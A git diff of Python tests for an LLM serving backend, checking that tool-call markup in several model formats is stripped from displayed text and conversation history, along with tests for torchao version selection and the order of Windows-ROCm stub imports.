 # ── Orphan openings ───────────────────────────────────────────────
 
 
@@ -155,6 +292,32 @@ def test_strips_tail_only_parameter_orphan_no_trailing_ws():
     assert "Final answer." in cleaned
 
 
+def test_strips_complete_bracket_tag_keeps_trailing_prose():
+    # A complete Mistral call strips only its balanced JSON, leaving following prose intact.
+    cleaned = _TOOL_XML_RE.sub("", '[TOOL_CALLS]web_search{"q":"x"} and then prose')
+    assert "[TOOL_CALLS]" not in cleaned
+    assert "and then prose" in cleaned
+
+
+def test_strips_unclosed_bracket_tail():
+    # Close brace lost to EOS: the truncated tail strips to the end instead of leaking.
+    cleaned = _TOOL_XML_RE.sub("", 'here [TOOL_CALLS]web_search{"query":"weather"')
+    assert "[TOOL_CALLS]" not in cleaned
+    assert cleaned.strip() == "here"
+
+
+def test_strips_unclosed_rehearsal_tail():
+    cleaned = _TOOL_XML_RE.sub("", 'text python[ARGS]{"code":"print(1)"')
+    assert "[ARGS]" not in cleaned
+    assert cleaned.strip() == "text"
+
+
+def test_strips_hyphenated_mcp_bracket_name():
+    cleaned = _TOOL_XML_RE.sub("", 'x [TOOL_CALLS]mcp__srv__list-issues{"q":"x"}')
+    assert "list-issues" not in cleaned
+    assert cleaned.strip() == "x"
+
+
 def test_preserves_mid_string_parameter_in_code_sample():
     # Tail-anchor on `</parameter>` so doc/example prose survives.
     text = (
@@ -281,3 +444,473 @@ def test_no_catastrophic_backtracking_on_orphan_opening_spam():
     elapsed = time.perf_counter() - t0
     assert elapsed < 0.1, f"regex took {elapsed*1000:.0f}ms on 1000x orphan opens"
     assert "<tool_call>" not in cleaned
+
+
+# ── Two-level-nested bracket JSON (balanced-scan strip) ──────────
+
+
+def test_route_strip_two_level_nested_bracket_keeps_trailing_prose():
+    # Two-level-nested args must be removed whole so the trailing prose survives.
+    text = 'before [TOOL_CALLS]search{"f":{"g":{"h":1}}} after'
+    cleaned = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert cleaned == "before  after"
+    assert "[TOOL_CALLS]" not in cleaned
+
+
+def test_route_strip_two_level_nested_rehearsal_keeps_trailing_prose():
+    text = 'note python[ARGS]{"a":{"b":{"c":1}}} done'
+    cleaned = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert cleaned == "note  done"
+    assert "[ARGS]" not in cleaned
+
+
+def test_route_strip_removes_call_with_literal_think_in_argument():
+    # A literal <think> inside a call argument strips with the call, not as reasoning.
+    text = (
+        '<tool_call>{"name":"write","arguments":'
+        '{"text":"compare <think> and </think> tags"}}</tool_call>'
+    )
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "<tool_call>" not in out and '"name"' not in out
+
+
+def test_route_strip_removes_truncated_mistral_array():
+    # A canonical array truncated by EOS is stripped by the route fallback like other orphans.
+    text = 'before [TOOL_CALLS] [{"name":"a","arguments":{"x":1}}'  # missing ]
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "[TOOL_CALLS]" not in out and "{" not in out
+    assert "before" in out
+
+
+def test_route_strip_keeps_prose_mentioning_args_marker():
+    # ``foo[ARGS] in a sentence`` is prose; the rehearsal arm must not truncate the line.
+    text = "Please pass foo[ARGS] to the template and continue reading."
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert out == text
+
+
+def test_route_strip_handles_mistral_v11_call_id_args_shape():
+    # v11 [CALL_ID]/[ARGS] shape (Mistral Small 3.2) must strip whole.
+    text = 'before [TOOL_CALLS]web_search[CALL_ID]abc123[ARGS]{"q":"x"} after'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "[TOOL_CALLS]" not in out and "[CALL_ID]" not in out and "[ARGS]" not in out
+    assert "before" in out and "after" in out
+
+
+# ── Mistral [/TOOL_CALLS] closer + literal <think> inside a call ───────────────
+
+from core.tool_healing import strip_tool_call_markup as _strip_tool_call_markup
+
+
+def test_core_strip_removes_orphan_tool_calls_closer_array_form():
+    # The bare v11 [/TOOL_CALLS] closer left by the balanced scan must not leak as content.
+    text = '[TOOL_CALLS] [{"name":"x","arguments":{}}][/TOOL_CALLS]'
+    assert _strip_tool_call_markup(text, final = True) == ""
+
+
+def test_core_strip_removes_orphan_tool_calls_closer_named_form_keeps_tail():
+    text = '[TOOL_CALLS]web_search{"q":"x"}[/TOOL_CALLS] tail'
+    assert _strip_tool_call_markup(text, final = True) == "tail"
+
+
+def test_core_strip_removes_call_with_literal_think_in_argument():
+    # An unclosed literal <think> inside call arguments strips with the call (argument data).
+    text = 'before <tool_call>{"name":"write","arguments":{"text":"literal <think> marker"}}</tool_call> after'
+    assert _strip_tool_call_markup(text, final = True) == "before  after"
+
+
+def test_route_display_strip_removes_orphan_tool_calls_closer_array_form():
+    text = '[TOOL_CALLS] [{"name":"x","arguments":{}}][/TOOL_CALLS]'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert out.strip() == ""
+
+
+def test_route_display_strip_removes_orphan_tool_calls_closer_named_form_keeps_tail():
+    text = '[TOOL_CALLS]web_search{"q":"x"}[/TOOL_CALLS] tail'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "[/TOOL_CALLS]" not in out
+    assert out.strip() == "tail"
+
+
+def test_incomplete_xml_call_with_literal_think_in_arg_is_stripped():
+    # An incomplete <tool_call> holding a literal <think> strips to EOS, not as a reasoning
+    # block (the unclosed tail _tool_call_markup_spans previously missed).
+    from core.tool_healing import parse_tool_calls_from_text as _parse
+    from core.tool_healing import strip_tool_call_markup as _strip
+
+    text = 'before <tool_call>{"name":"write","arguments":{"text":"literal <think> marker"}} after'
+    assert [c["function"]["name"] for c in _parse(text)] == ["write"]
+    assert _strip(text, final = True) == "before"
+
+    # A real reasoning block with no tool call is still preserved verbatim.
+    assert (
+        _strip("answer <think>real</think> done", final = True) == "answer <think>real</think> done"
+    )
+
+    # A complete call followed by a real reasoning block: call stripped, block kept.
+    mixed = '<tool_call>{"name":"a","arguments":{}}</tool_call> mid <think>r</think> end'
+    assert _strip(mixed, final = True) == "mid <think>r</think> end"
+
+
+# ── enabled-tool gate for the ambiguous bare-rehearsal strip (#5704) ──
+
+
+def test_display_tool_name_gate_returns_active_names_or_none():
+    # Empty / no tools -> None (unrestricted; keep the legacy strip-all behavior).
+    assert _display_tool_name_gate([]) is None
+    assert _display_tool_name_gate(None) is None
+    # OpenAI-shaped tool dicts -> set of function names, malformed entries dropped.
+    tools = [
+        {"type": "function", "function": {"name": "web_search"}},
+        {"type": "function", "function": {"name": "run_python"}},
+        {"type": "function"},  # no name
+        {"nope": 1},  # no function
+    ]
+    assert _display_tool_name_gate(tools) == {"web_search", "run_python"}
+
+
+def test_route_display_strip_keeps_inactive_rehearsal_when_gated():
+    # P1 #5704: an inactive ``foo[ARGS]{...}`` is prose; the gated strip leaves the sentence intact.
+    gate = {"web_search"}
+    text = 'foo[ARGS]{"x":1} is just syntax.'
+    assert (
+        _strip_tool_xml_for_display(text, auto_heal_tool_calls = True, enabled_tool_names = gate)
+        == text
+    )
+    # A bare marker with no JSON body is likewise prose when inactive.
+    assert (
+        _strip_tool_xml_for_display(
+            "use foo[ARGS] here", auto_heal_tool_calls = True, enabled_tool_names = gate
+        )
+        == "use foo[ARGS] here"
+    )
+
+
+def test_route_display_strip_removes_active_rehearsal_when_gated():
+    # Mirror case: an active tool name is a real rehearsal and still strips.
+    gate = {"web_search"}
+    out = _strip_tool_xml_for_display(
+        'web_search[ARGS]{"query":"x"} done', auto_heal_tool_calls = True, enabled_tool_names = gate
+    )
+    assert "web_search[ARGS]" not in out
+    assert out.strip() == "done"
+
+
+def test_route_display_strip_ungated_strips_all_rehearsal_unchanged():
+    # Backwards-compat: with no gate (None) the bare rehearsal strips as before.
+    text = 'foo[ARGS]{"x":1} is just syntax.'
+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = True).strip() == "is just syntax."
+    assert (
+        _strip_tool_xml_for_display(
+            text, auto_heal_tool_calls = True, enabled_tool_names = None
+        ).strip()
+        == "is just syntax."
+    )
+
+
+def test_route_display_strip_control_token_stripped_regardless_of_gate():
+    # [TOOL_CALLS] is a control token: stripped even when its NAME is not in the gate.
+    gate = {"web_search"}
+    out = _strip_tool_xml_for_display(
+        '[TOOL_CALLS]foo[ARGS]{"x":1} keep', auto_heal_tool_calls = True, enabled_tool_names = gate
+    )
+    assert "[TOOL_CALLS]" not in out and "foo[ARGS]" not in out
+    assert out.strip() == "keep"
+
+
+def test_core_strip_gates_bare_rehearsal_on_enabled_tools():
+    # P1 (#5704): the shared strip gate mirrors the parse gate -- inactive names are prose
+    # and preserved, active names strip, ``None`` keeps legacy strip-all.
+    from core.tool_healing import strip_tool_call_markup as _strip
+
+    text = 'foo[ARGS]{"x":1} is just syntax.'
+    assert _strip(text, final = True, enabled_tool_names = {"web_search"}) == text
+    assert (
+        _strip('web_search[ARGS]{"q":1} done', final = True, enabled_tool_names = {"web_search"})
+        == "done"
+    )
+    assert _strip(text, final = True).strip() == "is just syntax."
+    assert _strip(text, final = True, enabled_tool_names = None).strip() == "is just syntax."
+
+
+def test_route_display_strip_gate_preserves_inactive_history_rehearsal():
+    # The GGUF history sanitiser passes the gate, so a documented inactive shape survives in
+    # the replayed prompt context.
+    gate = _display_tool_name_gate([{"function": {"name": "web_search"}}])
+    text = 'To call it write foo[ARGS]{"x":1} in your reply.'
+    assert 'foo[ARGS]{"x":1}' in _strip_tool_xml_for_display(
+        text, auto_heal_tool_calls = True, enabled_tool_names = gate
+    )
+    # An ACTIVE name is still stripped as a real rehearsed call.
+    assert "web_search[ARGS]" not in _strip_tool_xml_for_display(
+        'Result web_search[ARGS]{"q":"x"} done', auto_heal_tool_calls = True, enabled_tool_names = gate
+    )
+    # No gate (legacy) strips every NAME[ARGS]{...}.
+    assert "foo[ARGS]" not in _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+
+
+def test_gguf_history_sanitizer_forwards_enabled_tool_names_gate():
+    # Wiring guard: the GGUF history strip must forward the display gate like the live strip.
+    block = _re.search(
+        r"Strip stale tool-call XML from conversation history.*?\.strip\(\)",
+        _src,
+        _re.DOTALL,
+    )
+    assert block, "could not locate GGUF history sanitizer block"
+    assert "enabled_tool_names" in block.group(
+        0
+    ), "GGUF history sanitizer must pass enabled_tool_names to _strip_tool_xml_for_display"
+
+
+def test_route_history_and_passthrough_forward_the_display_gate():
+    # The safetensors/Anthropic history sanitisers and the Anthropic non-stream passthrough
+    # must forward the gate so inactive examples survive in replayed prompt / final text.
+    blocks = {
+        "safetensors history": r"Strip stale tool-call XML from prior assistant turns.*?\.strip\(\)",
+        "anthropic history": r"Strip stale tool-call XML via the protected display helper.*?\.strip\(\)",
+        "anthropic passthrough": r"gated on the declared tools so an\n.*?\.strip\(\)",
+    }
+    for label, pat in blocks.items():
+        m = _re.search(pat, _src, _re.DOTALL)
+        assert m, f"could not locate {label} strip block"
+        assert "enabled_tool_names" in m.group(
+            0
+        ), f"{label} must forward enabled_tool_names to _strip_tool_xml_for_display"
+
+
+# ── DeepSeek opener variants + bare Kimi (parse/strip symmetry) ──
+
+
+def test_strips_deepseek_space_opener_variant():
+    # The space-separated opener is parsed by the parser, so the display strip
+    # must remove it too (the shared opener alternation is reused here).
+    text = (
+        "pre <｜tool calls begin｜><｜tool▁call▁begin｜>get_x<｜tool▁sep｜>"
+        '{"a":1}<｜tool▁call▁end｜><｜tool▁calls▁end｜> post'
+    )
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert "tool" not in cleaned.replace("post", "").replace("pre", "")
+    assert cleaned == "pre  post"
+
+
+def test_strips_deepseek_escaped_underscore_opener_variant():
+    text = (
+        "pre <｜tool\\_calls\\_begin｜><｜tool▁call▁begin｜>get_y<｜tool▁sep｜>"
+        '{"a":1}<｜tool▁call▁end｜><｜tool▁calls▁end｜> post'
+    )
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert cleaned == "pre  post"
+
+
+def test_strips_bare_kimi_call_without_section_wrapper():
+    # Kimi can emit a bare <|tool_call_begin|>...<|tool_call_end|> with no
+    # section wrapper; the parser accepts it, so the strip must cover it.
+    text = (
+        "pre <|tool_call_begin|>functions.get_w:0<|tool_call_argument_begin|>"
+        '{"a":1}<|tool_call_end|> post'
+    )
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert "tool_call_begin" not in cleaned
+    assert cleaned == "pre  post"
+
+
+@pytest.mark.parametrize(
+    "text",
+    [
+        # Prose that merely names a Kimi/DeepSeek marker (no real call follows) must
+        # survive: the call-shaped lookahead fires only on a real call or a bare EOF
+        # fragment, so an answer discussing the protocol is never truncated.
+        "See <|tool_call_begin|> in the docs. More prose after it.",
+        "The <|tool_calls_section_begin|> marker opens a batch. Read on.",
+        "DeepSeek uses <｜tool▁calls▁begin｜> to start a call block, then continues.",
+    ],
+)
+def test_deepseek_kimi_false_alarm_prose_is_kept(text):
+    # Regression for the route arm truncating a prose answer that references a marker
+    # without a following call (parser _TOOL_ALL_PATS already had this lookahead).
+    assert _TOOL_XML_RE.sub("", text) == text
+
+
+def test_deepseek_kimi_real_calls_still_strip_after_false_alarm_fix():
+    # The lookahead must not weaken real-call stripping: closed, truncated, and bare
+    # EOF-fragment forms all still get removed.
+    closed = (
+        "answer <|tool_call_begin|>functions.get_w:0<|tool_call_argument_begin|>"
+        '{"a":1}<|tool_call_end|> tail'
+    )
+    assert _TOOL_XML_RE.sub("", closed) == "answer  tail"
+    eof_fragment = "prefix <|tool_call_begin|>"
+    assert _TOOL_XML_RE.sub("", eof_fragment) == "prefix "
+    deepseek = (
+        "reply <｜tool▁calls▁begin｜><｜tool▁call▁begin｜>get_x<｜tool▁sep｜>"
+        '{"a":1}<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+    assert _TOOL_XML_RE.sub("", deepseek) == "reply "
+
+
+# ── Llama-3 <|python_tag|> arm bounds on REAL sentinels only ──────
+
+
+# Llama-3 <|python_tag|> arm bounds on REAL sentinels only
+def test_python_tag_strip_consumes_literal_sentinel_in_arg():
+    # A <|python_tag|> tool call whose JSON argument carries a literal <|...|>
+    # token (here <|cite|>) must be stripped whole. The old `<(?!\|)` arm stopped
+    # at any `<|`, leaking the call tail (e.g. `<|cite|> here"}}`) into display.
+    text = '<|python_tag|>{"name": "send", "parameters": {"text": "use <|cite|> here"}}'
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert cleaned == "", f"python_tag call leaked at literal sentinel: {cleaned!r}"
+
+
+@pytest.mark.parametrize(
+    "sentinel",
+    [
+        "<|eot_id|>",
+        "<|eom_id|>",
+        "<|start_header_id|>",
+        "<|end_header_id|>",
+    ],
+)
+def test_python_tag_strip_stops_at_real_sentinel(sentinel):
+    # A genuine Llama control sentinel still bounds the strip so following
+    # assistant text is preserved (the arm must not swallow past it).
+    text = f'<|python_tag|>{{"name": "x", "parameters": {{}}}}{sentinel}visible answer'
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert (
+        cleaned == f"{sentinel}visible answer"
+    ), f"strip did not stop at real sentinel {sentinel!r}: {cleaned!r}"
+
+
+def test_python_tag_strip_restarts_on_second_python_tag():
+    # A second <|python_tag|> opens a new tool-call region, so the whole pair is
+    # stripped (the arm bounds the first, then the next match consumes the rest).
+    text = '<|python_tag|>{"name": "a"}<|python_tag|>{"name": "b"}'
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert cleaned == "", f"second python_tag region leaked: {cleaned!r}"
+
+
+def test_glm_call_with_literal_close_tag_in_arg_value_is_stripped_whole():
+    # GLM 4.x emits <tool_call>NAME<arg_key>k</arg_key><arg_value>v</arg_value> ...</tool_call>.
+    text = (
+        "<tool_call>web_search\n<arg_key>query</arg_key>\n"
+        "<arg_value>find </tool_call> here</arg_value>\n</tool_call> done"
+    )
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "</arg_value>" not in out
+    assert "<arg_key>" not in out
+    assert out.strip() == "done"
+
+
+def test_glm_normal_and_qwen_calls_still_stripped_by_route():
+    # Regression: a normal GLM call (no literal close tag) and a Qwen
+    # <tool_call>{json}</tool_call> are still stripped; trailing prose is kept.
+    glm = "<tool_call>get_time\n<arg_key>tz</arg_key>\n<arg_value>UTC</arg_value>\n</tool_call> ok"
+    assert _strip_tool_xml_for_display(glm, auto_heal_tool_calls = True).strip() == "ok"
+    qwen = '<tool_call>{"name":"web_search","arguments":{"q":"x"}}</tool_call> after'
+    assert _strip_tool_xml_for_display(qwen, auto_heal_tool_calls = True).strip() == "after"
+
+
+def test_route_strip_removes_param_alias_close_tag():
+    # The parser accepts the <param name="...">...</param> attribute-form alias of
+    # <parameter=...>; the route tail cleanup must strip an orphan </param> close too.
+    assert _strip_tool_xml_for_display("answer </param>", auto_heal_tool_calls = True) == "answer "
+    assert (
+        _strip_tool_xml_for_display("answer </parameter>", auto_heal_tool_calls = True) == "answer "
+    )
+
+
+def test_route_strip_uses_guarded_function_scan_for_literal_nested_markup():
+    # A literal <function=...></function> in a value must not truncate the strip: the route runs the
+    # parser's guarded function-XML scan before the regex, matching the core strip.
+    text = "<function=python><parameter=code><function=evil></function></parameter></function> tail"
+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = True).strip() == "tail"
+
+
+def test_route_strip_gates_wrapperless_gemma_by_enabled_tools():
+    # The route strip must gate the markerless Gemma call:NAME{...} form on the enabled tool names,
+    # like the parser/loop, so a disabled/example name in prose is preserved in ...
+    prose = "To document syntax you write call:foo{query:example}. That shows the format."
+    assert "call:foo{query:example}" in _strip_tool_xml(prose, {"web_search"})
+    # An enabled name is still a real call and stripped.
+    assert "call:web_search" not in _strip_tool_xml(
+        "Answer. call:web_search{query:x}", {"web_search"}
+    )
+    # No gate (legacy) strips every closed call.
+    assert "call:foo" not in _strip_tool_xml(prose)
+
+
+def test_gemma_strip_gate_empty_tools_preserves_prose():
+    # With NO tools enabled the gate must return an EMPTY set (strip nothing), not None: None falls
+    # back to strip-all and deletes an answer that documents the call:NAME{...} syntax.
+    assert _gemma_strip_gate([]) == set()
+    assert _gemma_strip_gate(None) == set()
+    assert _gemma_strip_gate([{"function": {"name": "web_search"}}]) == {"web_search"}
+    prose = "To document syntax you write call:foo{query:example}. That shows the format."
+    assert "call:foo{query:example}" in _strip_tool_xml(prose, _gemma_strip_gate([]))
+    assert "call:foo{query:example}" in _strip_tool_xml(prose, _gemma_strip_gate(None))
+    # An enabled tool's real call is still stripped.
+    assert "call:web_search" not in _strip_tool_xml(
+        "Answer. call:web_search{query:x}",
+        _gemma_strip_gate([{"function": {"name": "web_search"}}]),
+    )
+
+
+def test_strip_keeps_prose_after_closed_function_call_with_literal_close():
+    # The call ends at its first non-data close: prose after it survives the
+    # strip even when it mentions a literal </function>.
+    from core.inference.tool_call_parser import strip_tool_markup
+    text = (
+        "<function=web_search><parameter=query>cats</parameter></function>"
+        " Done. The tag </function> closes a call."
+    )
+    assert strip_tool_markup(text, final = True) == "Done. The tag </function> closes a call."
+
+
+def test_final_strip_keeps_prose_mentioning_bare_markers():
+    # A false-alarm marker in a normal answer must not lose everything after
+    # it; only text that looks like that family's call start drops.
+    from core.inference.tool_call_parser import strip_tool_markup
+    for text in (
+        "See [TOOL_CALLS] docs for details. More prose after.",
+        "<|python_tag|> is the Llama marker. Explanation continues.",
+        "The <|tool_call> opener wraps Gemma calls.",
+    ):
+        assert strip_tool_markup(text, final = True) == text
+    # A bare marker at end-of-text is a fragment and still drops.
+    assert strip_tool_markup("Answer text [TOOL_CALLS]", final = True) == "Answer text"
+
+
+def test_final_strip_still_drops_truncated_marker_calls():
+    from core.inference.tool_call_parser import strip_tool_markup
+    for text in (
+        '[TOOL_CALLS][{"name":"web_search","argu',
+        '[TOOL_CALLS]web_search[ARGS]{"q":"x',
+        '<|python_tag|>{"name":"web_search","par',
+        '<|python_tag|>foo.call(items=["a',
+        "<|tool_call>call:web_search{query:tru",
+    ):
+        assert strip_tool_markup(text, final = True) == ""
+
+
+def test_chained_bare_json_strip_consumes_all_calls():
+    # The loops keep this text as next-turn history: a leftover executed call
+    # would be replayed alongside the structured tool_calls.
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    enabled = {"web_search", "python"}
+    chained = (
+        '{"name":"web_search","parameters":{"q":"first"}};'
+        '{"name":"python","parameters":{"code":"x"}}'
+    )
+    assert strip_leading_bare_json_call(chained, enabled_tool_names = enabled) == ""
+    assert (
+        strip_leading_bare_json_call(chained + " trailing prose", enabled_tool_names = enabled)
+        == "trailing prose"
+    )
+    # The chain stops at a non-call answer object, which stays visible.
+    call_then_answer = (
+        '{"name":"web_search","parameters":{"q":"x"}};{"name":"web_search","result":"data"}'
+    )
+    assert (
+        strip_leading_bare_json_call(call_then_answer, enabled_tool_names = enabled)
+        == '{"name":"web_search","result":"data"}'
+    )
diff --git a/studio/backend/tests/test_torchao_select.py b/studio/backend/tests/test_torchao_select.py
index a99eb4c45c..e4775a10a6 100644
--- a/studio/backend/tests/test_torchao_select.py
+++ b/studio/backend/tests/test_torchao_select.py
@@ -12,6 +12,7 @@ from __future__ import annotations
 
 import sys
 from pathlib import Path
+from unittest.mock import MagicMock
 
 import pytest
 
@@ -31,16 +32,23 @@ def _load_module(monkeypatch):
 @pytest.mark.parametrize(
     "torch_version, expected",
     [
-        # torch 2.10 (the reported bug: cu130 resolves 2.10.0) -> 0.16.0,
-        # independent of the local +cuXXX/+rocm/+cpu suffix or patch level.
-        ("2.10.0+cu130", "torchao==0.16.0"),
+        # torch 2.10 on CUDA <= 12 -> 0.16.0 (its cpp is built for torch 2.10.0 and
+        # loads against the CUDA-12 PyPI wheel). Independent of patch level.
+        ("2.10.0+cu128", "torchao==0.16.0"),
+        ("2.10.0+cu126", "torchao==0.16.0"),
         ("2.10.0+rocm6.4", "torchao==0.16.0"),
         ("2.10.0+cpu", "torchao==0.16.0"),
         ("2.10.1", "torchao==0.16.0"),
         ("2.10.0", "torchao==0.16.0"),
-        # Pre-release / dev / rc builds: the minor is cleaned of non-digits.
+        # torch 2.10 on CUDA >= 13 (Blackwell / cu130): 0.16.0's CUDA-12 cpp can't
+        # load against a CUDA-13 torch (libcudart.so.12 error), so use 0.17.0.
+        ("2.10.0+cu130", "torchao==0.17.0"),
+        ("2.10.0+cu140", "torchao==0.17.0"),
+        # Pre-release / dev / rc builds: the minor is cleaned of non-digits; the
+        # CUDA tag still decides 0.16.0 vs 0.17.0.
         ("2.10.0rc1", "torchao==0.16.0"),
-        ("2.10.0.dev20250804+cu130", "torchao==0.16.0"),
+        ("2.10.0.dev20250804+cu130", "torchao==0.17.0"),
+        ("2.10.0.dev20250804+cu128", "torchao==0.16.0"),
         ("2.10rc1", "torchao==0.16.0"),
         # torch 2.11 (reachable via ROCm rocm7.2) and forward -> 0.17.0.
         ("2.11.0+cu130", "torchao==0.17.0"),
@@ -71,12 +79,58 @@ def test_default_spec_matches_table(monkeypatch):
     assert mod._select_torchao_spec("2.9.0") == mod._TORCHAO_DEFAULT_SPEC
 
 
-def test_skips_torchao_on_windows_rocm():
+@pytest.mark.parametrize(
+    ("rocm_windows_torch_installed", "installed_torch_is_windows_rocm"),
+    [
+        (True, False),
+        (False, True),
+    ],
+)
+def test_skips_torchao_on_windows_rocm(
+    monkeypatch, tmp_path, rocm_windows_torch_installed, installed_torch_is_windows_rocm
+):
     """The overrides step must skip torchao on Windows ROCm: no working build exists
     there (it imports an absent c10d backend and crashes transformers.quantizers),
     so the installer skips it and relies on the runtime stub instead."""
-    source = _INSTALL_SCRIPT.read_text(encoding = "utf-8")
-    # Branches on the Windows-ROCm marker set by _ensure_rocm_torch ...
-    assert "elif _rocm_windows_torch_installed:" in source
-    # ... and reports the skip in the progress label.
-    assert "dependency overrides (skipped, Windows ROCm)" in source
+    mod = _load_module(monkeypatch)
+    installed_specs: list[str] = []
+    progress_labels: list[str] = []
+
+    def _record_pip_install(*args, **kwargs):
+        installed_specs.extend(str(arg) for arg in args)
+        return 0
+
+    unstructured_plugin = tmp_path / "unstructured"
+    github_plugin = tmp_path / "github"
+    unstructured_plugin.mkdir()
+    github_plugin.mkdir()
+
+    subprocess_result = MagicMock()
+    subprocess_result.returncode = 0
+    subprocess_result.stdout = ""
+
+    monkeypatch.setenv("SKIP_STUDIO_BASE", "1")
+    monkeypatch.setattr(mod, "IS_WINDOWS", True)
+    monkeypatch.setattr(mod, "IS_MACOS", False)
+    monkeypatch.setattr(mod, "IS_MAC_ARM", False)
+    monkeypatch.setattr(mod, "NO_TORCH", False)
+    monkeypatch.setattr(mod, "_rocm_windows_torch_installed", rocm_windows_torch_installed)
+    monkeypatch.setattr(
+        mod, "_installed_torch_is_windows_rocm", lambda: installed_torch_is_windows_rocm
+    )
+    monkeypatch.setattr(mod, "_bootstrap_uv", lambda: False)
+    monkeypatch.setattr(mod, "_repair_bad_anyio", lambda: None)
+    monkeypatch.setattr(mod, "_ensure_rocm_torch", lambda: None)
+    monkeypatch.setattr(mod, "_ensure_cuda_torch", lambda: None)
+    monkeypatch.setattr(mod, "_has_usable_nvidia_gpu", lambda: True)
+    monkeypatch.setattr(mod, "run", lambda *args, **kwargs: None)
+    monkeypatch.setattr(mod, "pip_install", _record_pip_install)
+    monkeypatch.setattr(mod, "_progress", lambda label: progress_labels.append(label))
+    monkeypatch.setattr(mod, "LOCAL_DD_UNSTRUCTURED_PLUGIN", unstructured_plugin)
+    monkeypatch.setattr(mod, "LOCAL_DD_GITHUB_PLUGIN", github_plugin)
+    monkeypatch.setattr(mod.subprocess, "run", lambda *args, **kwargs: subprocess_result)
+
+    assert mod.install_python_stack() == 0
+
+    assert not any(spec.startswith("torchao") for spec in installed_specs)
+    assert "dependency overrides (skipped, Windows ROCm)" in progress_labels
diff --git a/studio/backend/tests/test_torchao_stub_worker_parity.py b/studio/backend/tests/test_torchao_stub_worker_parity.py
new file mode 100644
index 0000000000..bb743385f1
--- /dev/null
+++ b/studio/backend/tests/test_torchao_stub_worker_parity.py
@@ -0,0 +1,130 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Invariant: the inference subprocess must install the torchao Windows-ROCm stub before it imports
+transformers.
+
+``core/_torchao_stub.py:install_torchao_windows_rocm_stub`` stubs torchao so transformers can import
+without an absent RCCL backend on Windows ROCm (no-op on every other runtime). If transformers imports
+first, a legacy Windows-ROCm venv that still carries a real torchao crashes on import (issue #6833).
+Three entrypoints already guard this (the training and export workers, and the main-process rag
+embedder); the inference worker -- the most-used path -- never had the call.
+
+CPU-only: parses source with ``ast``, no torch/transformers/GPU/weights needed.
+"""
+
+from __future__ import annotations
+
+import ast
+from pathlib import Path
+
+from core._torchao_stub import install_torchao_windows_rocm_stub
+
+_BACKEND = Path(__file__).resolve().parent.parent  # studio/backend
+_CORE = _BACKEND / "core"
+_STUB = install_torchao_windows_rocm_stub.__name__  # a rename breaks the import loudly
+
+_ENTRYPOINTS = [
+    _CORE / "training" / "worker.py",
+    _CORE / "export" / "worker.py",
+    _CORE / "rag" / "embeddings.py",
+    _CORE / "inference" / "worker.py",
+]
+
+
+def _stub_call_linenos(node) -> list[int]:
+    """Line numbers of every ``install_torchao_windows_rocm_stub()`` call under ``node``."""
+    return [
+        c.lineno
+        for c in ast.walk(node)
+        if isinstance(c, ast.Call) and isinstance(c.func, ast.Name) and c.func.id == _STUB
+    ]
+
+
+def _func(tree, name):
+    for node in ast.walk(tree):
+        if isinstance(node, ast.FunctionDef) and node.name == name:
+            return node
+    return None
+
+
+def test_all_entrypoints_call_stub():
+    """Every entrypoint that imports transformers must call the stub at all -- this is the exact
+    gap that shipped (the inference worker never gained the call). This is a presence check (the call
+    exists in the file); ordering is asserted only for the inference worker below, the path this fix
+    hardened. The other three import transformers at structurally different sites."""
+    for path in _ENTRYPOINTS:
+        assert _stub_call_linenos(ast.parse(path.read_text(encoding = "utf-8"))), (
+            f"{path.relative_to(_BACKEND)} never calls {_STUB}() -- transformers would import "
+            "unguarded and crash on a legacy Windows-ROCm venv (issue #6833)."
+        )
+
+
+_INFERENCE_MOD = "core.inference.inference"
+
+
+def _imports_transformers(node) -> bool:
+    """A statement that imports transformers directly (``import transformers[.x]`` /
+    ``from transformers[.x] import ...``) or transitively at load: any absolute or relative import
+    form resolving to ``core.inference.inference`` (whose module imports transformers), so a style
+    refactor of the section-2 import can't slip past the anchor."""
+    if isinstance(node, ast.Import):
+        return any(
+            a.name.split(".")[0] == "transformers"
+            or a.name == _INFERENCE_MOD
+            or a.name.startswith(_INFERENCE_MOD + ".")
+            for a in node.names
+        )
+    if isinstance(node, ast.ImportFrom):
+        module = node.module or ""
+        if node.level == 0:
+            return (
+                module.split(".")[0] == "transformers"
+                or module == _INFERENCE_MOD
+                or module.startswith(_INFERENCE_MOD + ".")
+                or (module == "core.inference" and any(a.name == "inference" for a in node.names))
+            )
+        # Relative forms inside core/inference/worker.py: ``from .inference import X`` and
+        # ``from . import inference`` both resolve to core.inference.inference.
+        return module == "inference" or (
+            not module and any(a.name == "inference" for a in node.names)
+        )
+    return False
+
+
+def test_inference_worker_stubs_before_transformers():
+    """In ``run_inference_process`` the stub must precede every path that reaches transformers: the
+    section-2 imports (direct ``import transformers`` and the transitive ``core.inference.inference``
+    import), and -- the reason it sits at the top of the function -- the ``_resolve_base_model`` call,
+    which pulls transformers via ``utils.models`` for a local LoRA adapter with no recorded base.
+    Scoped to the function (mirrors ``test_ssm_runtime``) so a stub call elsewhere in the module can't
+    mask a drop from the function that actually runs the import. The ``_activate_transformers_version``
+    call inside the MLX branch is not an anchor: MLX is never Windows ROCm, so it needs no stub."""
